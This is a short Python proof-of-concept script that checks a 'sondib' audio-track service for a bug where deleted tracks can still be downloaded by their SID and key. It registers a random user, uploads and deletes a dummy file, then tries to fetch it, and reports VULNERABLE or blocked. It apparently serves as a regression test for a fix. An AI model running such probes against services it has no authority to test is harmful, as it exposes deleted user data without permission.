#!/usr/bin/env python3 """PoC for the deleted-track SID reuse bug in sondib. Exit status is 0 when the target is vulnerable (a deleted track is returned), and 1 when the target rejects the deleted SID as expected after the fix. """ from __future__ import annotations import re import secrets import subprocess import sys import tempfile from pathlib import Path SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb" SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$") def run_sdb(target: str, *args: str) -> subprocess.CompletedProcess[bytes]: return subprocess.run( [str(SDB), args[0], target, *args[1:]], stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=10, check=False, ) def output(result: subprocess.CompletedProcess[bytes]) -> bytes: return result.stdout + b"\n" + result.stderr def fail(message: str) -> int: print(f"error: {message}", file=sys.stderr) return 2 def main() -> int: if len(sys.argv) != 2: print(f"usage: {Path(sys.argv[0]).name} TARGET", file=sys.stderr) return 2 target = sys.argv[1] if not SDB.is_file(): return fail(f"sdb client not found: {SDB}") username = f"reuse_{secrets.token_hex(4)}" password = secrets.token_urlsafe(12) registered = run_sdb(target, "register", username, password) if registered.returncode != 0: return fail(f"register failed: {output(registered).decode(errors='replace').strip()}") with tempfile.NamedTemporaryFile(prefix="sondib-probe-", suffix=".pcm") as pcm: pcm.write(b"\0" * 1024) pcm.flush() uploaded = run_sdb( target, "upload", username, password, "deleted-probe", "p", pcm.name, ) match = SID_KEY.search(output(uploaded)) if not match: return fail(f"upload did not return SID/key: {output(uploaded).decode(errors='replace').strip()}") sid, key = (part.decode() for part in match.groups()) deleted = run_sdb(target, "delete", username, password, sid, key) if deleted.returncode != 0: return fail(f"delete failed: {output(deleted).decode(errors='replace').strip()}") downloaded = run_sdb(target, "download", sid, key) if downloaded.stdout: print(f"VULNERABLE: deleted track {sid} is still downloadable ({len(downloaded.stdout)} bytes)") return 0 print(f"blocked: deleted track {sid} was not returned") return 1 if __name__ == "__main__": raise SystemExit(main())